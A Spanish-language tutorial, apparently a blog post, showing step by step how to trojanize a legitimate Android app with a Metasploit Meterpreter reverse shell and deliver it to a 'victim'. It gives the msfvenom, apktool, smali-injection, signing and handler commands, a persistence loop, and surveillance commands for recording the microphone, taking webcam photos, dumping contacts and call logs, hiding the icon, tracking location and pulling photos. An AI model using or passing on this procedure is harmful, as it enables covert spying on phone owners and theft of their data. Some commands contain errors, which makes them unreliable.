El proyecto Metasploit le permite a un pentester generar cargas útiles ósea un conjunto de datos transmitidos que es en realidad el mensaje enviado (de ahora en adelante ‘payloads’) de Android con un canal de comando meterpreter altamente funcional que se puede cargar en un dispositivo Android. Normalmente, la carga de este APK se realizará a través del depurador de Android “adb“.
Desde la perspectiva de un pentester, algo divertido de hacer es combinar una aplicación legítima con Meterpreter, y cargarla en un dispositivo Android. Naturalmente, podríamos considerar enviar ese ‘malware‘a un “amigo” como un regalo o hacerlo mediante ingeniería social.
Las aplicaciones de Android están escritas en Java, que se compilan en un formato ejecutable de Dalvik conocido como DEX. La versión compilada de una aplicación es un archivo ZIP de archivos de bytecode DEX. La máquina virtual Dalvik en Android se reemplazó más recientemente con Android RunTime (ART), que realiza una optimización adicional y compila el código de bytes DEX en un código de ensamblaje nativo.
En general, los pasos para incrustar un Meterpreter en un archivo APK existente son los siguientes:
1. Encontrar una aplicación APK de diversión en “apkmirror.com” o en un sitio mirror similar.
2. Generar el archivo APK Metasploit.
3. Desmontar con “apktool” el archivo APK Metasploit y el archivo APK que intentas modificar.
4. Copiar todo el código de smali de Meterpreter en el nuevo directorio smali del APK.
5. Encontrar el punto de entrada del código dentro del archivo AndroidManifest.xml de la aplicación APK buscando la línea: <action android:name="android.intent.action.MAIN"/>
6. Modificar el archivo “.smali” del activity para incluir una línea que inicie la etapa del Meterpreter.
7. Copiar todos los permisos de Meterpreter del AndroidManifest.xml en el AndroidManifest.xml del APK modificado.
8. Re-ensamblar en formato comprimido DEX.
9. Firmar el archivo APK recién creado con “jarsigner“, y luego cargar en el dispositivo Android de la víctima.
Ejemplo De Payload Para Android
Es mucho más fácil entender los pasos anteriores con un ejemplo concreto.
Requisitos:
· Kali Linux
· Apktool (Integrada en Kali)
Descargar Un APK Legítimo
Para ilustrar esto, descarga un archivo APK de cualquier juego o aplicación en apkure.com, apkmonk.com, apkmirror.com o cualquier otro mirror.
En mi caso usaré de ejemplo Apekure que es la más conocida y bajaremos cualquier App liviana de este servidor podría ser HowToGuiaparaInformaticos_v1.5.apk
Generar tu malware APK
Luego generaré un APK Metasploit usando el comando “msfvenom” de la siguiente manera:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT:4444 -o msf.apk
¿En qué consiste este comando?
Msfvenom es una herramienta de Metasploit que surge de una combinación de Msfpayload y Msfencode. Con esta herramienta mediante el flag -p especificaremos que se hará uso de un Payload con el cual atacaremos nuestro teléfono objetivo, en nuestro caso: meterpreter.
Payload es la parte que realiza la acción dañina en un virus, es decir, la que desencadena el efecto de un exploit.
Lo siguiente en este comando ha sido seleccionar el Stager a utilizar, en este caso hemos usado reverse_tcp, el cual nos permitirá reservar una zona en memoria y realizar una conexión. En esta zona es donde se guarda el Payload que generaremos.
LHOST y LPORT son básicamente la ip y puerto donde recibiremos los datos enviados remotamente por el teléfono atacado. EL Puerto puede ser a elección propia, en este caso se escogió el Puerto 9000 de manera aleatoria.
Finalmente mediante el flag R > <lugar donde guardaremos el apk>/<nombre apk>.apk, especificaremos donde quedará alojado nuestro apk y el nombre de este.
Obtendremos algo así:
Desmontar los archivos APK
-como por lo general en kali Linux nos descarga en downloas lo movemos a el escritorio para más facilidad luego utilizaremos el comando apktool.
¿Qué es apktool?
Es una herramienta para ingeniería reversa de binarios en aplicaciones Andriod.
Puede decodificar recursos lo más próximo a su forma original y reconstruirlo para luego realizar algunas modificaciones; es posible depurar pequeños fragmentos de código paso a paso.
También permite trabajar con la aplicación de manera sencilla debido a la estructura de archivos en forma de proyectos y automatizar algunas tareas repetitivas como reconstruir apk’s.
Decodifica r recursos lo más próximo a su forma original (incluyendo recursos, arsc, .png, etc) para luego reconstruirlos.
Para que nos corra bien la apktool lo podemos reinstalar para que tome la última versión ejecutando los siguientes comandos:
****instalación simple de apktool****
--video de donde tome los procesos de instalación---
https://www.youtube.com/watch?v=ao7wHPUWHCU
1. cd /usr/local/bin
2. curl https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
Luego agregamos > apktool
3. escribimos lo siguiente: wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.0.jar
4. Luego ejecutamos el siguiente comando: mv apktool_2.4.0.jar apktool.jar damos en enter
5. Y por último damos permisos a los archivos que hemos descargados con: chmod +x apktool
Para que la extensión no quede muy larga a la hora de llamar la ruta, reduzca el nombre de la apk original asi
HowToGuiaparaInformaticos_v1.5_apkpure.com.apk renombramos claro si queremos a HowToGuiaparaInformaticos_v1.5.apk
Ahora ambos archivos (APK ‘original’ y APK ‘malware’) se desmontaron usando “apktool” de la siguiente manera:
apktool d HowToGuiaparaInformaticos_v1.5.apk
y
apktool d msf.apk
Si no les llegase a funcionar el apktool colocar los siguientes comandos:
1. cd /usr/local/bin
2. curl https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
Y agregamos > apktool
3. escribimos lo siguiente: wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.0.jar
4. luego mv apktool_2.4.0.jar apktool.jar damos en enter
5. Y por último damos permisos a los archivos que hemos descargados con: chmod +x apktool
Lista de archivos que debería arrojarnos, aunque cambiaran según la aplicación que utilicemos
Copiar el código de malware a la aplicación original
Una forma fácil de hacer esto es cambiar el directorio del Metasploit APK y luego copiar todos los archivos bajo el directorio “smali” en el directorio, para mi caso en la carpeta que nos quedó en el escritorio HowtoGuíaparaInformáticos_v1.5
Un truco para hacer una copia de seguridad de árboles de directorios completos es usar el comando “tar”, ¿cómo así? pues puedes canalizar la salida de tar en un segundo comando que cambia de directorio y “untars” los archivos resultantes.
//Primero nos ubicaremos en el directorio de msf
cd msf/
ar -cf - ./smali | (cd ../HowToGuiaparaInformaticos; tar -xpf - )
Encontrar la Actividad EntryPoint
A continuación podemos ver que la actividad de la entrada aparece como “com.esgeeks.howto_informaticos.ui.activity.IntroActivity“. Lo sabemos porque el XML contiene un filtro con “android.intent.action.MAIN” dentro de él.
grep -B2 "MAIN" AndroidManifest.xml
¿Qué es Smali?
Las aplicaciones Android contienen ficheros .dex (Dalvik EXecutable). Estos ficheros se pueden descompilar para obtener un código de bajo nivel llamado Dalvik Bytecode. Utilizando smali/baksmali (ensamblador/desensamblador) se puede obtener una representación en un lenguaje de bajo nivel con el que se puede trabajar más fácilmente, al cual llamaremos código Smali. Hoy en día, apktool ya incorpora smali/baksmali, por lo que será suficiente con desempaquetar el fichero .apk con apktool para obtener el código Smali.
Modificar el archivo smali del EntryPoint
Como se puede ver arriba, en este caso, el archivo se llama “IntroActivity.smali” (generalmente suelen llamarse “MainActivity.smali”, así que dependerá de la aplicación) y se ubicará en el directorio “com.facebook.lite.MainActivity” según los puntos (“.”) En la ruta de clase completamente calificada.
Ejecutamos
cd smali/com/esgeeks/howto_informaticos/ui/activity/
ls -l IntroActivity.smali
Editamos Y dentro del archivo “IntroActivity.smali “, buscamos el método “onCreate()“.
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
Necesitamos agregar una sola línea de código justo debajo de la llamada al método “onCreate()” para invocar nuestra etapa
Meterpreter.
Agregar permisos al archivo APK modificado “AndroidManifest.xml”
Para el siguiente paso, usa grep para buscar todas las líneas en el archivo “AndroidManfest.xml” del Metasploit (msf.apk) que contienen los strings “uses-permission” y “uses-feature” y luego copiarlas.
cat AndroidManifest.xml | grep "uses-permission"
Nos vamos a la carpeta de nuestra apk infectada. Usamos un editor para insertar los permisos en el lugar adecuado busca el archivo “AndroidManifest.xml”(del APK modificada HowtoGuíaparaInformáticos). Busca una línea “uses-permission” y después de la última coloca algo así “nuevos permisos” y copia y pega de la terminal los permisos obtenidos. Si ves algún permiso repetido solo elimínalo
Te debería quedar algo asi
Podría terminar con algunos permisos duplicados. Opcionalmente puedes eliminarlos pero realmente no importa.
Construir el nuevo archivo de paquete APK
Ahora usa “apktool” de nuevo para volver a ensamblar el archivo resultante del paquete APK. El resultado final se escribirá en un directorio “dist” dentro del propio directorio del APK.
Ahora empaquetamos todo el contenido en la nueva apk con todo el contenido malicioso
apktool b HowToGuiaparaInformaticos
En caso de presentarse un error, agrega este comando y vuelve a ejecutar el anterior:
apktool empty-framework-dir –force
Y vuelva a firmar el archivo del paquete resultante
Nos vamos a la ruta para con ls –l para que nos muestre información del anterior proceso y sus cambios
ls -l HowToGuiaparaInformaticos/dist/
Un método sencillo es utilizar la “keytool” de Java para generar tu propio repositorio de claves auto firmado y luego firmarlo con la herramienta “jarsigner” como se muestra en las capturas de pantalla a continuación.
keytool -genkey -v -keystore howto.keystore -alias howto -keyalg RSA -keysize 2048 -validity 10000
Si no les llegase a funcionar simplemente ejecutar los siguientes comandos
apt-get install lib32stdc++6 lib32ncurses5 lib32z1
apt-get install zipalign
En caso de que no les funcionara el jarsigner ejecutar lo siguientes comandos
sudo apt-get update
Installing the JDK:
sudo apt-get install openjdk-8-jdk
Checking the Java version:
java -version
JDK home directory:
cd /usr/lob/jvm/java-1.8.0-openjdk-amd64/bin
Claves de auto firmado con keytool ok
Si quisiéramos restaurar las claves utilizaríamos el siguiente comando
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore howto.keystore
Finalmente, el archivo “FacebookLite_Original.apk” está listo para ser enviado e instalado en un dispositivo Android víctima.
Ya con nuestra aplicación lista simplemente nos queda compartirla a nuestra victima para que la instale y como ya tiene todos los protocolos de seguridad instalados para no levantar sospecha pasara desapercibida nuestra apk “original “
Obtener una sesión de meterpreter
El paso final es, por supuesto, probar nuestra aplicación recién infectada. Ya dentro de la consola de Metasploit ingresaremos a ejecutar use xploit/multi/handler
¿Pero qué es un handler?
Bueno, un handler en Metasploit es con lo cual estableceremos una conexión con el objetivo. Dependiendo del Payload que se utilice, el handler puede ser de escucha o recepción (gracias a un reverse Payload) o puede iniciar una conexión con un host a un Puerto específico (gracias a un bind Payload).
Descubrí entonces que, en el momento en que inicié la app, se obtiene un shell Meterpreter en el sistema KALI. Antes que nada, ejecutamos lo siguiente:
/etc/init.d/postgresql start
msfconsole
use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST 192.168.1.9
set LPORT 4444
exploit
Cuando ya hemos configurado cada parte, arrancamos el exploit con el comando exploit, con el cual, al haber hecho uso de reverse_tcp quedará a la escucha de la próxima conexión que se establezca.
Veremos algo así:
Ahora es momento de instalar la aplicación en el teléfono objetivo. Hay muchas maneras pero para fines prácticos de este tutorial simplemente he instalado el .apk en el teléfono manualmente aunque hay miles de maneras para que la víctima lo ejecute y eso nos daría total acceso
Ya habiendo instalado la aplicación deberíamos ver un icono que se llame MainActivity dentro de nuestro teléfono, al ejecutarlo no abrirá ninguna ventana pero sí se establecerá por fin la conexión con nuestra consola Metasploit.
Sesión de meterpreter para Android
Si queremos tener persistente nuestra conexión entonces ejecutaremos el siguiente comando
shell
#!/bin/bash
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
¡Ahora sí! Tenemos acceso remoto al dispositivo Android:
Podremos ejecutar los siguientes comandos para comenzar a obtener información de nuestra herramienta y monitorear fácilmente a nuestra victima
Help --- sysinfo ---
--Graba Micrófono 20 seg--
record_mic -d 20
--Listar las webcam--
webcam_list
--Tomar foto con cámara trasera--
webcam_snap
--Tomar foto con cámara delantera--
webcam_snap -i 2
--video cámara delantera--
webcam_stream –I 2
--Extraer registro de llamadas--
dump_calllog
--Extraer contactos--
dump_contacts
--Extraer registro de llamadas--
dump_calllog
--enviar Mensajito--
send_sms -d Numero destino -t "Prueba en clase"
--Audio mínimo--
set_audio_mode -m 0
--Audio Máximo--
set_audio_mode -m 2
--Ocultar icono en launcher--
hide_app_icon
--Ubicacion "para ver la ubicación el GPS tendrá que estar encendido".--
geolocate -g
--Traernos archivo del teléfono--
cd /sdcard/emulated/0/download
--subir archivo--
upload Nombredelarchivo
--bajar archivo--
download nombre del archivo
--copiar directorio--
download /storage/emulated/0/DCIM/Camera